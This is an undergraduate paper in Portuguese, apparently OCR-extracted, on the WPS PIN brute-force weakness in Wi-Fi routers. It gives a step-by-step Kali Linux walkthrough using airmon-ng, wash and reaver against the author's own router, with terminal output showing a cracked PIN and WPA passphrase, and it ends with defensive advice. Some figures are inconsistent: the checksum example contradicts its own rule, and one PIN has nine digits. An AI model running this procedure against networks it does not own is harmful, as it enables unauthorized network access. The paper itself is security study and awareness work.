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RESUMO

O uso das redes de comunicacdes vem se modificando pelos avancos
tecnologicos e pela necessidade da sociedade em integrar os equipamentos na
vida corriqueira. O Wi-Fi, ferramenta essencial para a sociedade contemporanea,
possui padrdoes de seguranca para manter a confidencialidade da rede sem fio, e
dentre esses padrbes estd o WPS (Wi-Fi Protected Setup). Esse projeto busca
analisar a vulnerabilidade desse modo de segurancga, demonstrando sua falha
através de um teste de invasdo em uma rede sem fio, verificando se o mesmo &
vidvel para garantir a confidencialidade de redes domeésticas ou empresariais.
Para isso, foram realizadas pesquisas bibliograficas através de artigos cientificos
de autores especialistas da area em questdo, apresentando uma breve historia da
tecnologia e da internet até o surgimento dos padrées de seguranca para redes
sem fio, focando no padrédo WPS e seu funcionamento, e, por fim, realizando um
estudo de caso para comprovar sua vulnerabilidade, deixando recomendacdes
para que os leitores evitem possiveis invasdes em suas redes.

Palavras Chave: Seguranca da Informacédo; Redes Sem Fio; WPS.



ABSTRACT

The use of communications networks has been changing due to technological
advances and the need of society to integrate the equipment into everyday life. Wi-
Fi, an essential tool for contemporary society, has security standards to maintain
the confidentiality of the wireless network, and one of those standards is Wi-Fi
Protected Setup (WPS). This project seeks to address the vulnerability of this
security mode by demonstrating its flaw through a wireless network penetration
test, verifying if it is viable to ensure the confidentiality of home or business
networks. To this end, bibliographic researches were conducted through scientific
articles by experts in the field, presenting a brief history of technology and the
Internet until the emergence of security standards for wireless networks, focusing
on the WPS standard and its operation, and, finally, by conducting the case study
to prove its vulnerability, leaving recommendations for readers to prevent potential
intrusions into their networks.

Keywords: Information Security; Wireless Networks; WPS.
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1 INTRODUCAO

A inevitavel evolucao tecnoldgica facilitou inUmeras tarefas do cotidiano de
pessoas e empresas. Novos sistemas computacionais surgem, o que faz com que
0 ambiente empresarial se integre cada vez mais na Internet.

Alguns anos atrds, essa integracdo das empresas na rede global de
computadores s6 era possivel através de cabos de redes fisicos e dispositivos
computacionais de médio porte, hoje, a conexdo com a Internet pode ser realizada
de modos mais faceis, rapidos e simples, como, por exemplo, através de redes
sem fio. Foi nesse contexto que surgiu o WPS (Wi-Fi Protected Setup), a fim de
estabelecer uma conexao via Wi-Fi rapida e facil, porém, junto a essa praticidade,
abriram-se novos meios de ataques a rede.

Esse projeto busca analisar e demonstrar a vulnerabilidade e problemas
ocasionados pelo WPS, verificando a viabilidade de manté-lo ativo de modo
seguro, buscando a confidencialidade, integridade e disponibilidade dessas redes
sem fio, para que se possa trabalhar em um ambiente empresarial ou doméstico
de forma segura. Mais especificamente, este trabalho buscou analisar e discutir 0
funcionamento do WPS e realizar um teste de invaséo a fim de demonstrar as
vulnerabilidades desse padréo de seguranca. Para isso, foi feito um levantamento
bibliografico através de artigos cientificos de especialistas da area e estudo de
campo realizado pelo autor.

O trabalho se estruturou em cinco capitulos, sendo que o primeiro tratada
da origem e evolucdo da tecnologia e, consequentemente, da historia da internet
até a chegada das redes sem fio e criagdo dos padrdes de seguranca para as
mesmas, focando no funcionamento do WPS. No segundo capitulo foi
apresentado como ocorre o ataque ao sistema WPS, abordando a sua falha
estrutural quando submetido a um ataque de forca bruta. No terceiro capitulo foi
realizado um estudo de caso, a fim de comprovar e explorar a vulnerabilidade
através de um ataque a uma rede sem fio doméstica do préprio autor. No quarto
capitulo, recomendag¢fes foram sugeridas para os leitores com o intuito de evitar
possiveis ataques as suas redes sem fio. Por fim, o ultimo capitulo se reserva as

consideracgdes finais.
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2 EVOLUCAO DA TECNOLOGIA / WPS

As pessoas costumam pensar na tecnologia como algo muito mais recente
e restrito do que ela realmente €, isto porque ela esta mais integrada na nossa
vida do que podemos imaginar, como dito pelo pai da computacéo ubiqua - aquela
que faz parte do cotidiano de modo imperceptivel: “As mais profundas tecnologias
sdo aquelas que desaparecem. Elas se misturam no tecido da vida cotidiana até o
momento em que ndo se pode mais distingui-las.” (Weiser, 1991). Afinal, o que é

tecnologia?

Podemos dizer que a tecnologia é o uso de técnicas e do conhecimento
adquirido para aperfeicoar e/ou facilitar o trabalho com a arte, a resolugéo
de um problema ou a execucdo de uma tarefa especifica. (KARASINSKI,
2013)

Partindo dessa definicdo, o surgimento da tecnologia pode ser reconhecido
h& mais tempo do que se imagina, mesmo que nao haja uma data precisa de sua
origem, existem registros (como a descoberta do fogo ou a criacao de ferramentas
de pedra) datados ha mais de milhdes de anos. Portanto, a tecnologia abrange os
avancos das diversas areas do conhecimento humano, como uma forma de lidar
com os inumeros obstaculos encontrados no cotidiano.

Uma dessas ferramentas tecnolégicas mais utilizadas hoje em dia, a
internet, surgiu em 1969, inicialmente era denominada de ARPANET (Advanced
Research Projects Agency Network), que levou esse nome por ter nascido na
Agéncia para Projetos de Pesquisa Avancada do Departamento de Defesa dos
Estados Unidos da América. Sua finalidade era ser um sistema de
telecomunicacdes descentralizado de alta disponibilidade, sem que pudesse ser
interrompido ou desmantelado por um ataque localizado. Tal preocupacao era
justificada pelo fato dos EUA estarem em meio a Guerra Fria, que estava em seu
auge.

Logo apds alguns anos, a ARPANET foi crescendo, cada vez mais
computadores e dispositivos iam se conectando, formando assim a internet - que é
basicamente a rede internacional de computadores e dispositivos informaticos
conectados e dispersos por todo o planeta que se comunicam através de uma

linguagem (protocolo) em comum.
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Na figura 1, abaixo, estdo as datas da origem e evolucdo da internet, desde
o lancamento do Sputnik pela Russia, durante a Guerra Fria, até a concepcao da

World Wide Web (www), que permitiu 0 acesso a internet como temos hoje.

Historia dao
INnternet

A evolugcdo da comunicagdo

por Carlos Diniz

':@5@@@

® @ ®
¥257 196l e e T

Foi estabelecida

A Russia langca o Desenvolvimento J.C.R. Licklider Nasce a
safelite Sputnik. da fransmissdo de cria o conceito ARPANET. COIMm SUCEesso
Em resposta os dados por da chamada ligagdo entre os

EUA criam a pacote "Rede Galactica” modems de dois
Advanced computadores
distantes.

Research Projects
Agency (ARPA)

B @ & K
© © © o
I9/3 19 9 o

TPy

E feita a primeira Ray Tomlinson Surge o The A Xerox langa o
conexdo cria a primeira Creeper, o protatipo de um
continental entre aplicagdo de primeiro virus computador
os EUA e a envio de email. para pessoal.
computador.

Noruega.

SomeQ

® @
197749785 170k 105 1988

Criag&@o do A empresa DEC Elancado o PC A ARPANET cria a Jarkko Oikarinen

protocolo de envia 3%3 emails da IBM. MILNMET, uma cria o canal de

tfransmiss&ao para funciondarios divis@o s6 para chat IRC.
TCP/IP da Arpanet. assuntos militares.

Nasce o SPAM.

A historia continua... wWWwWw
®

1 990 - Portugal adere & Intemet.
1989

] 99 ] - E aberto o uso da rede a entidades comerciais.
Tim Berners-Lee
] 994 — Surge o MOSAIC, primeiro navegador grafico. propde o sisterma
World Wide Web

1 998 - Ano de langamento do Google e do NAPSTER.
2004 - Mark Zuckerberg e os seus colegas de quarto langam o Facebook.

2005 = Chad Hurley, Steve Chen, e Jawed Karim fundam o Youtube.

Fonte: Carlos Diniz (2015)
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O padréo internacional para redes sem fio (IEE 802.11) foi criado em 1997
pelo Instituto de Engenheiros Eletricistas e Eletronicos, ele definiu diversas
normas que estabeleciam a transmissao e codificacdo para as redes sem fio
através de ondas de radio. De acordo com o site da WiFi Alliance, o grupo criador
do padrdo Wi-Fi surgiu em 1999, e desde entdo, o mercado comecou a adotar
esse padrdo de conectividade e diversas novas tecnologias foram surgindo, até
chegar no ponto em que estamos hoje.

O Wi-Fi funciona, de acordo com Juliane Pixinine:

As redes Wi-Fi fazem uso de ondas de radio comuns para transmitir as
informacdes de Internet, assim como acontece com a televisdo, radio e
celular, por exemplo. Essas redes funcionam através de ondas de radios
transmitidas por meio de um adaptador, o roteador, que recebe os sinais,
decodifica e os emite a partir de uma antena, sendo a parte principal do
Wi-Fi. A troca de informacgBes acontece em uma das duas frequéncias
disponiveis pelos governos, a de 2.4 GHz ou a de 5GHz. Quanto mais

alta a frequéncia, maior também a capacidade do sinal carregar um alto
ndmero de informag@es. (PIXININE, 2015)

Os roteadores modernos facilitam a configuracdo de redes sem fio
domésticas, sendo capazes de cobrir toda ou boa parte da casa do usuario. Tal
cobertura da rede sem fio, na maioria dos casos, estende-se para mais longe do
que a éarea planejada de seu uso, tornando possivel 0 acesso a essa rede e aos
dados trafegados nela por terceiros ndo autorizados. Isto levanta uma
importantissima questdo de seguranca da informacéo, o que fez necesséario a
criacdo de padrbes de seguranca nas redes Wi-Fi para garantir a
confidencialidade, integridade e disponibilidade dos dados.

O primeiro padrdo que surgiu para tentar contornar esta situacdo foi o
Wired Equivalent Privacy, que se provou ineficiente para lidar com esse problema
(devido a um algoritmo criptogréafico fraco). O padrdo, mais seguro, que surgiu
para substituir o WEP foi o Wi-Fi Protected Protocol (WPA), e ap6s ele o WPA2 -
gue possui um forte modo de criptografia e melhor seguranca. Como dito pelos
autores Petiz et al (2013), protocolos mais seguros requerem configuracdes mais
complexas, o que é um problema para os usuarios, podendo fazer com que eles
desabilitem a seguranca sem fio para evitar tais configuracdes dificeis.

O WPS foi criado justamente para tentar resolver este problema, sendo um
padréo de facil configuracdo por usuarios leigos, unindo a praticidade e seguranca

a0 mesmo tempo.



2.1 FUNCIONAMENTO DO WPS

O WPS foi criado com a finalidade de simplificar e unir praticidade e
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seguranca na conexao de dispositivos com a rede Wi-Fi. A criptografia utilizada

pela rede e seu SSID (nome identificador) sdo definidos automaticamente, o que

faz com que seja possivel a conexdo com a rede de duas formas diferentes, de

acordo com os autores Zisiadis et al (2012):

PBC (Push Button Configuration): para estabelecer conexdo dessa forma é
necessario inicializar o procedimento de configuracdo automatica, que €é
realizado ao apertar o botdo do WPS no dispositivo que vocé quer conectar
e no ponto de acesso ou roteador, ao qual serd conectado o dispositivo,
conforme exemplificado na figura 2. Este botdo pode ser fisico, localizado

no aparelho, ou virtual, mostrado na tela durante a configuracéo.

Figura 2 — Botdo de Configuracdo WPS no Roteador

7 « WPS/Reset
\ b
WPS |
/ \
— ‘ ‘
g

u,; Hi
v

W

L

Fonte: Edimax Technology

PIN (Personal Identification Number): neste método, os dispositivos que
possuem o WPS habilitado recebem um PIN instalado de fabrica (no
préprio dispositivo ou gerado dinamicamente e exibido na tela). O PIN do
dispositivo a ser conectado na rede deve ser lido e inserido na interface
web do AP ou roteador que realizara a configuracdo, se o PIN for validado

com sucesso. A caminho inverso também pode ser realizado, ler o PIN do



AP (localizado normalmente em um adesivo na base do roteador, conforme
figura 3) e inserir 0 mesmo na interface da tela do dispositivo a ser
conectado.

Figura 3 — Numero do PIN Localizado no Roteador

R R, RN

Fonte: The Sh3lic0d3r’s Blog (2016)
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3 COMO O ATAQUE OCORRE

O grande problema do WPS é que em muitos roteadores domeésticos dos
principais fornecedores ndo ha seguranca necessaria para manter o recurso ativo.
De acordo com o Instituto de Engenharia de Software da Universidade Carnegie
Mellon, os roteadores que possuem o método PIN do WPS estdo suscetiveis a
ataques de forca bruta (tipo de ataque baseado em testar todas possibilidades de
senhas até obter acesso ao sistema), como constatado pelos autores Petiz et al
(2013), se inserirmos o PIN do roteador sem fio no dispositivo do usuario (por
meio do método PIN), € possivel, em roteadores domésticos de marcas mais
presentes no mercado, realizar véarias tentativas antes do endereco MAC (Media
Access Control — endereco fisico que identifica o equipamento) do dispositivo
atacante ser bloqueado. Além disso, alguns roteadores nem sequer bloqueiam
esses dispositivos, permitindo a execugcdo de um ataque por forga bruta continuo
sem quaisquer restricdes. A maioria dos roteadores que usam o WPS tem o
recurso PIN habilitado por padréo e séo incapazes de desabilita-lo. A importancia
dessa falha é que, se olharmos para a estrutura do PIN, conforme figura 2 abaixo,
vemos que o mesmo consiste em 8 digitos, onde o oitavo digito € um checksum
(soma de verificacdo dos outros digitos), entdo, o numero de tentativas

necessarias para descobrir o PIN € igual a, no maximo, 1078 (cem milhdes).

Figura 4 - Estrutura do PIN
[ [2]3]4[5]6]7] 8
12 Parte 23 Parte CS
Fonte: Carlos Diniz (2015)

O checksum é o oitavo digito, que é calculado da seguinte forma, de acordo
com o site WiFi Libre (2015): o primeiro, terceiro, quinto e sétimo digitos séo
multiplicados por 3, enquanto o segundo, quarto e sexto digito sdo multiplicados
por 1. O resultado de cada multiplicacdo é somado, obtendo-se um nimero novo.
E guardado o ultimo digito desse nimero da soma, o qual sera reservado para o
préximo célculo. Nesse préximo célculo, o numero reservado € o subtraendo de
uma subtracdo que possui 0 minuendo com o valor de 7. O resultado dessa ultima
subtracdo é o numero do checksum. Por exemplo, se quisermos calcular o ultimo

digito (checksum) do PIN 9999999, deve ser feito da seguinte forma:



e 1°Passo: Multiplicacéo
(9%3) + (9x1) + (9x3) + (9x1) + (9%x3) + (9x1) + (9x3)

e 2°Passo: Asoma

27+9+27+9+27+9+27=135

e 3°Passo: Digito de verificagdo

Reservamos o ultimo digito da soma acima = 5

e 4°Passo: Subtracao

10 - 5 (digito de verificacdo) = 5 (checksum)

Portanto, o PIN WPS valido é 99999995.
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O processo de autenticacdo do WPS entre os dispositivos, segundo

Goncharov et al (2018), é realizado em oito etapas, da seguinte forma, conforme

figura 3 abaixo:

Figura 5 — Processo de Autenticacdo do WPS

MNSG Tipo Aigao
AP—client - i [

M1 1M1 Calculo das chaves piblicas pelo algoritmo Diffie-
AP<client |Hellman para a primeira e segunda parte do cédigo PIN

M2

i AP—client | Envio das chaves publicas para a primeira e segunda

parte do codigo PIN
M4 AP4-client Confirmacao da primeira metade do PIN
M5 AP—client Confirmacao da segunda metade do PIN

M6 | AP<—client

Confirmacéao e reconhecimento da segunda metade
do caédigo PIN

M7 | AP—client

Confirmacao e reconhecimento da segunda
metade do PIN, envio da configuracédo do AP

AP<«—client

M8

Configuracao do Access Point

Fonte: Autor (2019)

AP (access point) € o roteador que esta realizando a comunicacdo com o
client, que é o dispositivo requisitor da conexdo. Cada mensagem trocada entre
eles (numeradas de M1 até M8) é responsavel por uma etapa na comunicagéo

entre os dispositivos. Um ataque brute force otimizado, de acordo com Stefan

(2011), funciona da seguinte maneira, como explicito na figura 4:
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Figura 6 — Ataque Brute Force Otimizado

802.11 Auth
802.11 Assoc « 802.11 Deauth
Inicio do EAP

l A
Envia M4

!

Recebe —NACK»>-

Incremento da 12
Metade do PIN

|
M5
v

Envia M6

Incremento da
Recebe —NACK» 22 Metade do

PIN

|
M7
\ 4

Obtém a
configuragio
do AP

Fonte: Autor (2019)

O ataque por forca bruta, dessa forma, verifica os 4 primeiros digitos e em
seguida, se esses 4 primeiros digitos estiverem corretos, iniciam-se as tentativas
para descobrir os ultimos 4 dltimos digitos. Sendo assim, no pior caso, seria
necessario tentar 104 (dez mil) combinagBes numéricas para descobrir a primeira
parte, e entdo, outras 10"3 (mil) tentativas para encontrar a Ultima parte: como o
altimo numero é o checksum e pode ser calculado pelo atacante, sdo necessarias
apenas 11.000 tentativas, no maximo, para descobrir o PIN correto do roteador
sem fio e descobrir a senha do WPA/WPA2, sendo que, na maioria das vezes, é

necessario testar apenas metade das combinacdes possiveis.
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4 ESTUDOS DE CASO

Para realizar o teste de intrusdo, a fim de comprovar a vulnerabilidade do
padrdao WPS, foram utilizados os seguintes recursos: o sistema operacional Kali
Linux virtualizado através do Virtual Box, um receptor Wi-Fi USB e um roteador
Tp-Link com o WPS ativo. O passo a passo para a execucado se deu da seguinte
forma:

1. O primeiro passo, como exibido na figura 5, foi ativar o receptor Wi-Fi

no sistema operacional Kali Linux virtualizado.

Figura 7 — Ativando o Receptor Wi-Fi
(@

Visualizar Entrada  Dispositivos Ajuda

Aplicativos ~ Locais ~

T )OO0

e
?

LI AR AR (3 ikt Canteal
Configuragdes de USB...

SEMICO USB Keyboard [0110]

C-Media Electronics. EDIFIER G4 [0100

1-O DATA DEVICE, INC. WN-G300UA [0200]
E-Signal USB Gaming Mouse [0130]

Fonte: Autor (2019)

2. O segundo passo, mostrado na figura 6, foi abrir o terminal e
executar o comando iwconfig (conforme figura 7) para descobrir o nome da
interface de rede do adaptador wireless USB, percebemos que a mesma esta no
modo managed, isto €, o modo padrao, utilizado para realizar conexdes sem fio na
forma comum, escolhendo uma rede e inserindo a senha da mesma. Em seguida,
como podemos ver na figura 8, foi executado o programa Aircrack-ng (instalado
por padréo no Kali Linux), inserindo o comando airmon-ng start wlanOmon.
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Este comando configura a placa de rede Wi-Fi para 0 modo monitor, ou modo de

escuta. Neste modo a antena capta as Redes Wi-Fi que estdo em seu alcance.

Figura 8 — Abrindo o Terminal
L’] Kali Linux [Executando] - Oracle VM VirtualBox

Aplicativos ~ Locais ¥ [J Terminal ~ sab 20:09

root@kali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda

=
L
E |
o
™

@ o ¢

B @& @ EiR {3 & 3 right Control

Fonte: Autor (2019)

Figura 9 — Nome da Interface de Rede Sem Fio

Aplicativos ¥ Locais ¥ Terminal v

root@kali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda

:~# iwconfig
no wireless extensions.

no wireless extensions.

IEEE 802.11 ESSID:off/any

Mode:Managed | Access Point: Not-Associated Tx-Power=20 dBm
Retry short Llimit:7 RTS thr=2347 B Fragment thr:off
Encryption key:off

Power Management:off

~# I

T VOO0

@ » P ¢

@ (o &P 31| = @ {3 @ @ right control

Fonte: Autor (2019)
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Figura 10 — Configurando o Modo Monitor
Arquivo  Maquina Visualizar Entrada  Dispositivos  Ajuda

Aplicativos ~ Locais ¥ Terminal >

root@kali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda
:~# airmon-ng start wlan®Omon

PHY Interface Driver Chipset

phyo wlan@ rtl8192cu Realtek Semiconductor Corp. RTL8192CU 80
2.11n WLAN Adapter

1~#
T ~#

QP> ) RBD

@ &8 @8 =i {3 S 3] right control

Fonte: Autor (2019)

3. O terceiro passo, de acordo com a figura 9, foi executar o programa
Wash (instalado por padrdao no Kali Linux), inserindo o comando wash -i
wlanOmon, este comando lista as redes Wi-Fi captadas pelo modo monitor e exibe
informagdes como o nome identificador, endereco MAC, poténcia de conexao e

fabricante das redes sem fio.

Figura 11 — Descobrindo as Redes Pr6ximas
:~# wash -1 wlan©mon
Ch dBm

RalinkTe VIVO-F040
Broadcom Wifi Teste

AtherosC Republica
Broadcom STYLLO VEST
Broadcom Adilson

Fonte: Autor (2019)

4, O quarto passo, conforme figura 10, foi executar o programa Reaver
(instalado por padrdo no Kali Linux), inserindo o comando reaver —i wlanOmon —b
90:F6:52:BB:C2:08 —vv, este € o comando que executara o ataque de for¢a bruta,
nele estad definida a interface de rede do receptor Wi-Fi, o endereco MAC do
roteador e o modo verbose, que permite acompanhar tudo o que esta sendo feito

em tempo real.
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Figura 12 — Executando o Ataque Brute Force

root@kali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda

:~# reaver -i wlanOmon -b 90:F6:52:BB:C2:08 -vv

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[?] Restore previous session for 90:F6:52:BB:C2:08? [n/Y] y
[+] Restored previous session

[+] waiting for beacon from 90:F6:52:BB:C2:08
[+] Switching wlan®mon to channel 4

[+] Received beacon from 90:F6:52:BB:C2:08
[+] Vendor: AtheroscC

[+] Trying pin "06435677"

[+] Sending authentication request

[!] Found packet with bad FCS, skipping...
[+] Sending association request

[+] Associated with 90:F6:52:BB:C2:08 (ESSID: Republica)
[+] Sending EAPOL START request

[+] Received identity request

[+] Sending identity response

[+] Received M1 message

[+] Sending M2 message

[+] Received M3 message

[+] Sending M4 message

[+] Received WSC NACK

[+] Sending WSC NACK

[+] Trying pin "06445676"

Fonte: Autor (2019)

5. Apos mais de 10 horas, o ataque foi bem-sucedido e exibiu no

terminal (figura 11) o PIN e a chave de acesso WEP da rede Wi-Fi.

Figura 13 — PIN e senha WPA

root@kali: ~

Arquivo Editar Ver Pesquisar Terminal

Trying pin "779111600"

Sending authentication request
Sending association request
Assocliated with 90:F6:52:BB:C2:08 (ESSID: Republica)
Sending EAPOL START request
Received identity request
Sending identity response
Received M1 message

Sending M2 message

Received M3 message

Sending M4 message

Ajuda

Received M5 message

Sending M6 message

Received M7 message

Sending WSC NACK

Sending WSC NACK

Pin cracked in 43883 seconds

WPS PIN: '77911100'
WPA PSK: 'SenhaWireless'
AP SSID: 'Republica’

~# I

Fonte: Autor (2019)
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5 RECOMENDACOES

Tendo em vista a falha estrutural e de implementacdo do WPS, recomendo
fortemente desativa-lo, principalmente nos casos de roteadores domésticos. Nao é
uma praticidade que vale a pena o risco. Nas situacées em que os roteadores nao
permitem a desativacdo do recurso, € recomendavel atualizar seu firmware
(software programado diretamente no hardware do dispositivo), pois existem
atualizacdes que corrigem a falha de tentativas de insercdo do PIN ilimitadas.
Caso a atualizacao de firmware nao resolva o problema, deve-se considerar a
aquisicdo de um novo roteador imune a este tipo de ataque. Na imagem abaixo,
seguem algumas recomendacdes do CERT.BR para a seguranca de redes Wi-Fi:

Figura 14 — Print Screen da Cartilha de Seguranca para Internet

A conexao Wi-Fi em uma residéncio ou esritdrio pode ser feifo vio equipamentos es-
pedificos ou como uma funcionalidode do roteador bando larga. Em ambos os cosos é
necessdrio que alguns cuidodos minimos de seguranca sejam tomados.

siga as recomendacdes gerais para proteger seus equipamentos de rede,
lembrando-se de atualizar o firmware e de alterar a senha de administragdo

altere tombém a senha de autenticagdo de usudrios
configure o modo WPAZ de criptografia. Evite usar WPA e WEP

altere o nome da rede (SSID - Server Set IDentifier)

“estonda” o sua rede

desabilite:

Fonte: CERT.BR (2017)

Outras recomendacgdes de seguranca séo: desativar 0 acesso remoto ou

outros servicos que ndo sao utilizados e podem estar ativos no seu roteado; caso
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seu roteador possuir firewall embutido, € uma boa pratica ativa-lo; sempre utilize
uma senha de acesso a rede forte de, no minimo, 7 digitos e misturando letras
maiusculas com minudsculas, junto de numeros e simbolos. Dessa forma vocé
praticamente anula ataques de forca bruta, pois o tempo necessario para
descobrir uma senha formatada dessa forma € inviavel para um possivel atacante;
evite realizar transacbes bancarias ou enviar informacdes pessoas se estiver
conectado em uma rede publica; desabilite a funcionalidade de rede sem fio em
seu roteador no caso de vocé usar apenas a rede local cabeada e ndo o Wi-Fi;
Por fim, caso ndo esteja utilizando seu equipamento de rede, desligue-o. Ninguém

invadira seu roteador se o ndo estiver operando.
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6 CONSIDERACOES FINAIS

A internet €, atualmente, praticamente indispensavel pela maior parte de
seus usuarios, e esta cada vez mais se integrando no dia a dia da sociedade. As
redes sem fio facilitaram muito o acesso a internet, trazendo mais conforto e
flexibilidade. Grande parte dos dispositivos eletrOnicos possuem comunicagdo sem
fio, e a aquisicdo desses dispositivos esta também, hoje, muito mais presente nas
classes sociais mais baixas do que antigamente. Portanto, é essencial zelar pela
seguranca em dispositivos com conectividade sem fio, considerando que estamos
em uma era que, as vezes, 0 seu bem mais valioso ou de uma empresa pode ser
as informacoes.

A partir do desenvolvimento deste trabalho pela pesquisa tetrica e de
campo, conclui-se que apesar da falha do WPS né&o ser recente, ainda podem
existir muitos roteadores sem fio com esta vulnerabilidade presente no
equipamento, e no caso de ser explorada, pode resultar no comprometimento dos
pilares da seguranca da informacéo, sendo possivel resultar no roubo de dados e
informagdes, interrupgao da disponibilidade do servigo ou adulteragéo dos dados
armazenados.

Conforme recomendacbes do capitulo 5, como método mais efetivo e
garantido deve-se desativar o recurso WPS, principalmente em roteadores
domésticos.

Em trabalhos futuros é possivel explorar as fraquezas do WEP, WPA,
WPA2 e WPA3, a fim de se expandir e dar continuidade nas analises de

vulnerabilidades dos padrées de seguranca em redes Wi-Fi.
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